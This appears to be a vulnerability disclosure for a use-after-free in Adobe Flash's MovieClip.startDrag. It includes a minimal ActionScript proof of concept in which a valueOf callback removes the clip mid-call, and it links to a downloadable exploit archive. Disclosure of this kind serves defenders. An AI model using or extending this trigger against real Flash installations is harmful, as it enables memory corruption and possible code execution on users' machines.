Source: https://code.google.com/p/google-security-research/issues/detail?id=592

There is a use-after-free in MovieClip.startDrag. If a parameter an object with valueOf defined, this method can free the MovieClip, which is then used.

A minimal POC follows:

this.createEmptyMovieClip("mc", 1);
mc.startDrag( true, {valueOf : func}, 1, 2, 3, 4);


function func(){
	
	mc.removeMovieClip();
	
        // Fix heap here

	return 1;
	
	}
	
A sample fla and swf are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39041.zip